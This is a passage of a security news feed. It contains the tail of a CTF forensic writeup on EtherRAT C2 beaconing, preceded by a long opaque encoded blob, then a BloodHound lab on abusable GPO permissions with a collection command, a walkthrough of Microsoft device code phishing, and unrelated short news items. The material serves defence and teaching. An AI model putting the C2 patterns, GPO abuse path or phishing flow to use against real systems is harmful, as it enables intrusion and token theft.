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
&amp;ieol=CRLF"><strong><em>Link</em></strong></a>), we can determine that It generates a fake-looking URL, which is used for Beaconing:</p><pre>https://&lt;C2_DOMAIN&gt;/api/&lt;RANDOM&gt;/&lt;BOT_ID&gt;/&lt;RANDOM&gt;.&lt;EXT&gt;?&lt;PARAM&gt;=&lt;BOT_ID&gt;<br><br><br>https://63.176.62.199:443/api/&lt;RANDOM&gt;/4ebfbc8aedf60511/&lt;RANDOM&gt;.&lt;EXT&gt;?&lt;PARAM&gt;=4ebfbc8aedf60511</pre><p>So, by searching with this query: http.request.method==GET and ip.src==172.31.44.238 and ip.dst==63.176.62.199, we can see this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zchnVE3ywWnlgaYkZc_hfg.png"></figure><p>All commands by the C2 Beaconing server (with some jitter intervals)</p><p>SO, we can determine the command by following the TLS Stream for each packet, (the command will be seen in the GETresponse packet) like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yY1gdzl-NMzhBQR2DgNueg.png"></figure><p>or another way, with searching for the POSTrequests, from the web-server to the C2 server with query: http.request.method==POST and ip.src==172.31.44.238 and ip.dst==63.176.62.199</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eh2_E054JqvFSIOisp6UAA.png"></figure><p>and get the precious commands “<em>whoami</em>” with the timestamp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*acqR2Vl9mFm5SMsTbirT4g.png"></figure><blockquote>2026–02–10 18:40</blockquote><blockquote><strong><em>Q18: </em></strong><em>After establishing access, the attacker closed the door behind them so no one could get in the way they did.<br>What </em><strong><em>Next.js</em></strong><em> version was installed to patch the vulnerability?</em></blockquote><p>investigating all commands by this amazing query:</p><p>http.request.method==POST and ip.src==63.180.69.24 and http.request.uri <br>contains "/login" and http.content_length&gt;339</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MnvPO6KMhyIt7QftYSbe3g.png"></figure><p>we now have all the 8 executed commands, this one is the one we need</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IuLehjV-QTRSsfIV5U5I2g.png"></figure><p>so by investigating each packet (Follow TLS) we can find this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bqBDSeH9JRM7jcQlsrKyEA.png"></figure><blockquote>15.3.9</blockquote><blockquote><strong><em>Q19: </em></strong><em>Based on the observed IOCs and TTPs,<br>which nation-state is most likely behind this activity?</em></blockquote><p>from the CVE number (CVE-2025–55182), we identified that it’s origin from North Korea (<strong>DPRK</strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*veWl3yO0BkPGVY53w1pV4w.png"></figure><blockquote>DPRK</blockquote><h4>Thanks For Reading, Hope you enjoyed❤️</h4><h4>Keep in touch with me via: <a href="https://linktr.ee/Prankster99">https://linktr.ee/Prankster99</a></h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=e7aecaf51b7a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/callmeonthechain-etherrat-lab-writeup-cyberdefenders-e7aecaf51b7a">CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Abused a Group Policy Object (GPO) in Active Directory (And How to Fix It)]]></title>
<description><![CDATA[Group Policy Objects (GPOs) are one of the most powerful features in Active Directory. They allow administrators to manage settings across computers and users.But if the wrong user has control over a GPO, it can become an easy privilege escalation path.In this lab, I’ll use BloodHound to identify...]]></description>
<link>https://tsecurity.de/de/3677783/hacking/how-i-abused-a-group-policy-object-gpo-in-active-directory-and-how-to-fix-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677783/hacking/how-i-abused-a-group-policy-object-gpo-in-active-directory-and-how-to-fix-it/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:16 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYSV94Q4TKE53NHop9sBDw.png"></figure><p>Group Policy Objects (GPOs) are one of the most powerful features in Active Directory. They allow administrators to manage settings across computers and users.</p><p>But if the wrong user has control over a GPO, it can become an easy privilege escalation path.</p><p>In this lab, I’ll use <strong>BloodHound</strong> to identify a dangerous GPO permission and then show how to fix it.</p><h3>Lab Setup</h3><ul><li><strong>Domain:</strong> LAB.LOCAL</li><li><strong>Domain Controller:</strong> 192.168.56.104</li><li><strong>Attacker:</strong> Kali Linux</li><li><strong>User:</strong> bob</li></ul><h3>Step 1 — Collect Active Directory Data</h3><p>First, I collected information from Active Directory using <strong>BloodHound.py</strong>.</p><pre>bloodhound-python -u bob -p 'password@123' -d lab.local -ns 192.168.56.104 -c All --zip</pre><p>BloodHound successfully collected:</p><ul><li>8 Users</li><li>55 Groups</li><li>3 GPOs</li><li>2 OUs</li><li>1 Computer</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jA0bN8_u-FCRSuDjOdIbFg.png"></figure><h3>Step 2 — Import into BloodHound</h3><p>Next, I uploaded the generated ZIP file into BloodHound Community Edition.</p><p>BloodHound maps relationships between users, groups, computers, OUs, and GPOs, making it much easier to spot privilege escalation paths.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T0gcQnP34CNfRQp0qFv4hw.png"></figure><h3>Step 3 — Finding the Misconfiguration</h3><p>BloodHound showed that <strong>Bob</strong> had <strong>WriteDacl</strong>, <strong>WriteOwner</strong>, and <strong>GenericWrite</strong> permissions over the <strong>Employees Policy</strong> GPO.</p><p>These permissions are dangerous because they allow a user to modify who controls the GPO or change its configuration.</p><h3>Why Is This Dangerous?</h3><p>If an attacker can edit a GPO linked to an Organizational Unit (OU), they may be able to:</p><ul><li>Execute scripts on domain computers</li><li>Deploy scheduled tasks</li><li>Add users to local Administrators</li><li>Push malicious registry changes</li><li>Gain higher privileges across the domain</li></ul><p>A single misconfigured GPO can impact many systems at once.</p><h3>Step 4 — Fixing the Issue</h3><p>On the Domain Controller:</p><pre>Group Policy Management<br>        ↓<br>Employees Policy<br>        ↓<br>Delegation</pre><p>Review who has permissions on the GPO.</p><p>Remove unnecessary permissions such as:</p><ul><li>GenericWrite</li><li>misconfiguredWriteDacl</li><li>WriteOwner</li></ul><p>Only trusted administrators should have these rights.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*FC8s8UA4FIWW0lay8j9Ikw.png"></figure><h3>Verify the Fix</h3><p>Run BloodHound again after updating the permissions.</p><pre>bloodhound-python -u bob -p 'password@123' -d lab.local -ns 192.168.56.104 -c All --zip</pre><p>Re-import the ZIP into BloodHound.</p><p>The dangerous permission edges should no longer appear for <strong>Bob</strong>.</p><h3>Key Takeaways</h3><p>1.Regularly audit GPO permissions.</p><p>2. Use the principle of least privilege.</p><p>3. Review BloodHound findings periodically.</p><p>4. Remove unnecessary <strong>GenericWrite</strong>, <strong>WriteDacl</strong>, and <strong>WriteOwner</strong> permissions.</p><blockquote><strong><em>Disclaimer:</em></strong><em> </em>The techniques demonstrated in this article were performed in a private Active Directory lab for learning purposes. Always obtain proper authorization before testing any production environment.</blockquote><p><em>— Written by</em></p><p><strong>Aruvasaga Chithan A</strong></p><p><strong>Ethical Hacker &amp; Cyber Security Researcher.</strong></p><p><strong>Thanks for reading — your support keeps me writing.</strong><br><strong>See you in the next article…</strong></p><p><a href="http://www.linkedin.com/in/aruvasaga-chithan"><em>Linkedin</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=5d59c031e602" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-abused-a-group-policy-object-gpo-in-active-directory-and-how-to-fix-it-5d59c031e602">How I Abused a Group Policy Object (GPO) in Active Directory (And How to Fix It)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…]]></title>
<description><![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your PasswordThe most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why tra...]]></description>
<link>https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:11 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your Password</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OVpY6KkTRyuVGErNrEOnw.png"></figure><p>The most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why traditional MFA awareness alone is no longer enough.</p><p>Have You Ever Come Across a Website Like This Below Screenshot? No fake Microsoft login pages. No stealing of passwords. No cloned authentication forms. No obvious browser warnings. Yes that’s device code phishing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IWV-Evt-XtPkaXDpCmwEVg.png"><figcaption>At first glance, this page looks completely legitimate.</figcaption></figure><p>It carries Microsoft’s branding, displays a verification code, and instructs users to continue their sign-in using the official Microsoft Device Login page. Unlike traditional phishing websites, there are no fake Microsoft login forms, no requests for your password, and no obvious signs that something is wrong.</p><p>So, it must be safe… right?</p><p>Not necessarily.</p><p>Device Code Phishing has become one of the most effective phishing techniques because it abuses Microsoft’s legitimate authentication workflow instead of attempting to steal usernames and passwords. Since users authenticate directly with Microsoft, many of the traditional warning signs associated with phishing are absent, making these attacks significantly more convincing.</p><p>In this article, the ThreatWatch360 team explains how Device Code Phishing works, why it is dangerous, and how attackers leverage this technique to gain unauthorized access to Microsoft 365 accounts without ever asking victims for their credentials.</p><h3>What is Device Code Authentication?</h3><p>Before understanding Device Code Phishing, it’s important to understand Device Code Authentication.</p><p>Microsoft introduced the Device Code Flow to allow devices with limited input capabilities, such as smart TVs, conference room devices, IoT devices, and command-line applications, to authenticate users.</p><p>Instead of entering credentials directly on the device, Microsoft generates a short verification code.</p><p>The user then visits Microsoft’s official Device Login page, enters the code, signs in with their Microsoft account, and authorizes the request.</p><p>The authenticated session is then linked back to the requesting application.</p><p>This workflow is completely legitimate and is widely used by Microsoft-supported applications.</p><p>Unfortunately, threat actors discovered they could abuse this authentication flow for phishing.</p><h3>How Device Code Phishing Works</h3><p>Unlike traditional phishing attacks, Device Code Phishing does <strong>not</strong> steal passwords.</p><p>Instead, it tricks victims into authorizing an attacker-controlled application using Microsoft’s own authentication infrastructure.</p><p>The result is that the attacker receives a valid Microsoft access token after the victim successfully authenticates.</p><p><strong>Stage 1 — The Phishing Email</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tAn7mYR2AdzzB3hwopRHjw.png"><figcaption>Initial Phishing Email</figcaption></figure><p>The attack usually begins with a convincing phishing email.</p><p>In our demonstration, the victim receives an email claiming that Microsoft detected unusual sign-in activity and encourages them to secure their account immediately.</p><p>The email closely resembles legitimate Microsoft security notifications, making it difficult for many users to distinguish between genuine and malicious messages.</p><p>Instead of directing users to a fake Microsoft login page, the email redirects them to an attacker-controlled website.</p><p>This subtle difference is what makes Device Code Phishing particularly dangerous.</p><p><strong>Stage 2 — The Fake Verification Portal</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AojoCLPiwGgkLGcDH88gRA.png"><figcaption>Device Code Phishing Page</figcaption></figure><p>After clicking the email link, the victim is presented with what appears to be a Microsoft verification portal.</p><p>The page displays:</p><ul><li>A Microsoft verification code</li><li>Instructions explaining how to complete authentication</li><li>A button that automatically opens Microsoft’s legitimate Device Login page</li></ul><p>Everything appears authentic.</p><p>Unlike credential phishing pages, this website never asks the user for their Microsoft username or password.</p><p>Instead, it simply instructs the user to authenticate through Microsoft itself.</p><p>This dramatically increases trust.</p><p><strong>Stage 3 — Redirecting to Microsoft’s Official Login Page</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vxT4KVaMxg7heCzDMx58Bg.png"><figcaption>Official Microsoft Device Login</figcaption></figure><p>Clicking the verification button redirects the victim to Microsoft’s official Device Login page.</p><p>Notice the URL.</p><p>The browser clearly displays Microsoft’s legitimate domain: login.microsoftonline.com</p><p>This is not a fake login page.</p><p>This is Microsoft’s real authentication portal.</p><p>Since users are interacting directly with Microsoft, many security-conscious individuals believe the request is legitimate.</p><p><strong>Stage 4 — Entering the Device Code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wFq44SaoP4Gcy7Y_7QxXHA.png"><figcaption>Microsoft Device Authentication</figcaption></figure><p>The victim enters the code displayed on the phishing website into Microsoft’s official authentication page.</p><p>At this point, everything still appears normal.</p><p>The authentication process is entirely handled by Microsoft.</p><p>No passwords have been stolen.</p><p>No fake login page has been displayed.</p><p>Yet the attacker is already one step closer to gaining access.</p><p><strong>Stage 5 — Microsoft Requests Account Authorization</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-3m7P_UTRW5Zprk35ydVMA.png"><figcaption>Account Selection</figcaption></figure><p>Once the code is accepted, Microsoft asks the victim to select the account they wish to authorize.</p><p>Again, this occurs entirely on Microsoft’s legitimate infrastructure.</p><p>Nothing appears suspicious.</p><p>Most users assume they are completing a routine Microsoft verification process.</p><p><strong>Stage 6 — Granting Access</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ew9Rlt7lKtc3NSjGugG7CQ.png"><figcaption>Authorization Prompt</figcaption></figure><p>Microsoft now asks the user to confirm the authentication request.</p><p>The victim clicks <strong>Continue</strong>, believing they are protecting or verifying their Microsoft account.</p><p>Instead, they are unknowingly authorizing an attacker-controlled application.</p><p><strong>Stage 7 — Authentication Complete</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KyN4hx6sY5t0rM_KDsBFw.png"><figcaption>Successful Authorization</figcaption></figure><p>Microsoft confirms that authentication has completed successfully.</p><p>From the victim’s perspective, everything appears perfectly normal.</p><p>There are no error messages.</p><p>No warnings.</p><p>No indication that their Microsoft session has now been shared with someone else.</p><h4>Stage 8 — The Attacker Receives the Access Token</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QNu8X_BbbhhP4XFhhrqC6Q.png"><figcaption>Attacker Token Captured dashboard</figcaption></figure><p>Behind the scenes, the attacker’s phishing infrastructure immediately receives the Microsoft access token generated during the authentication process.</p><p>Unlike traditional phishing attacks, the attacker never needed the victim’s password.</p><p>Instead, they now possess a valid Microsoft authentication token issued directly by Microsoft.</p><p><strong>Stage 9 — Accessing Microsoft Resources</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hqRMWz0deomvWmiCV1QAag.png"><figcaption>Searching Microsoft Graph Data</figcaption></figure><p>Using the captured token, the attacker can begin interacting with Microsoft Graph APIs according to the permissions granted during authentication.</p><p>Depending on the permissions available, this may allow access to resources such as:</p><ul><li>Outlook email</li><li>OneDrive files</li><li>SharePoint data</li><li>Microsoft Teams information</li><li>Other Microsoft 365 resources</li></ul><p>In our demonstration, the captured token is used to search mailbox content, illustrating how quickly authenticated access can be abused after the victim completes the authorization process.</p><h3>Why Device Code Phishing Is So Effective</h3><p>Traditional phishing relies on fake login pages.</p><p>Device Code Phishing is different.</p><p>The victim authenticates directly with Microsoft.</p><p>Every important step occurs on Microsoft’s legitimate domain.</p><p>This removes many of the indicators users have been trained to recognize.</p><p>There are:</p><ul><li>No fake Microsoft login pages.</li><li>No stealing of passwords.</li><li>No cloned authentication forms.</li><li>No obvious browser warnings.</li></ul><p>Instead, attackers exploit the trust users place in Microsoft’s legitimate authentication process.</p><h3>Why This Matters</h3><p>Modern phishing campaigns are evolving beyond simple credential theft. By abusing legitimate authentication workflows, attackers can obtain valid access tokens without ever knowing a user’s password. This makes Device Code Phishing particularly attractive because it blends legitimate authentication with social engineering. Organizations relying solely on user awareness around fake login pages may find these attacks significantly more difficult to detect.</p><h3>How to Protect Yourself</h3><p>Although Device Code Authentication is a legitimate Microsoft feature, there are several ways users can protect themselves from Device Code Phishing attacks.</p><h4>Never authenticate unless you initiated the request.</h4><p>If you receive an unexpected email asking you to verify your Microsoft account using a device code, stop and verify the request before proceeding.</p><h4>Check why you are being asked to authenticate.</h4><p>Ask yourself:</p><ul><li>Did I start this login?</li><li>Am I trying to sign in on another device?</li><li>Was I expecting this authentication request?</li></ul><p>If the answer is no, do not continue.</p><h4>Be cautious of urgent security emails.</h4><p>Threat actors frequently use messages about unusual sign-in activity, account suspension, or urgent verification to pressure victims into acting quickly.</p><h4>Review recently authorized applications.</h4><p>Regularly review the applications connected to your Microsoft account and remove any unfamiliar or unnecessary authorizations.</p><h4>Revoke active sessions if you suspect compromise.</h4><p>If you believe you accidentally completed a Device Code Phishing request:</p><ul><li>Immediately sign out of all active Microsoft sessions.</li><li>Revoke recently granted application permissions.</li><li>Change your Microsoft account password.</li><li>Inform your organization’s IT or Security team.</li><li>Review your recent sign-in activity for any suspicious access.</li></ul><p>Acting quickly can significantly reduce the impact of token-based attacks.</p><h3>Conclusion</h3><p>Device Code Phishing demonstrates that modern phishing attacks no longer need to steal passwords to be successful.</p><p>By abusing Microsoft’s legitimate Device Code authentication workflow, attackers can trick users into authorizing malicious applications while every authentication step takes place on Microsoft’s official infrastructure.</p><p>This makes the attack highly convincing, difficult for users to recognize, and increasingly relevant in modern phishing campaigns.</p><p>Understanding how this technique works is the first step toward recognizing suspicious authentication requests and preventing unauthorized access to Microsoft 365 environments.</p><p>As attackers continue to shift toward token-based authentication abuse, user awareness remains one of the most effective defenses against these evolving phishing techniques.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=cfa189643f45" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without-cfa189643f45">Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘We’ve actually been using the Harman Curve incorrectly’: GoldenSound's new Status earbuds aim to rewrite an industry standard and, having tried them against AirPods Pro, I like it…to a point]]></title>
<description><![CDATA[Status Audio and GoldenSound think we’ve been using the Harman Curve all wrong when it comes to earbuds, and their new collab will prove it]]></description>
<link>https://tsecurity.de/de/3677734/it-nachrichten/weve-actually-been-using-the-harman-curve-incorrectly-goldensounds-new-status-earbuds-aim-to-rewrite-an-industry-standard-and-having-tried-them-against-airpods-pro-i-like-itto-a-point/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677734/it-nachrichten/weve-actually-been-using-the-harman-curve-incorrectly-goldensounds-new-status-earbuds-aim-to-rewrite-an-industry-standard-and-having-tried-them-against-airpods-pro-i-like-itto-a-point/</guid>
<pubDate>Sat, 18 Jul 2026 11:02:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Status Audio and GoldenSound think we’ve been using the Harman Curve all wrong when it comes to earbuds, and their new collab will prove it]]></content:encoded>
</item>
<item>
<title><![CDATA[HACKING RIDE GOES WRONG?! ⚠️   #horseriding #equestrianlife #stablevlog #horsegirl]]></title>
<description><![CDATA[Heute haben Samba und ich wieder an unserem Gelände Problem gearbeitet. Es war definitiv wild, aber er hat das brav gemacht!]]></description>
<link>https://tsecurity.de/de/3677426/hacking/hacking-ride-goes-wrong-horseriding-equestrianlife-stablevlog-horsegirl/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677426/hacking/hacking-ride-goes-wrong-horseriding-equestrianlife-stablevlog-horsegirl/</guid>
<pubDate>Sat, 18 Jul 2026 06:08:17 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
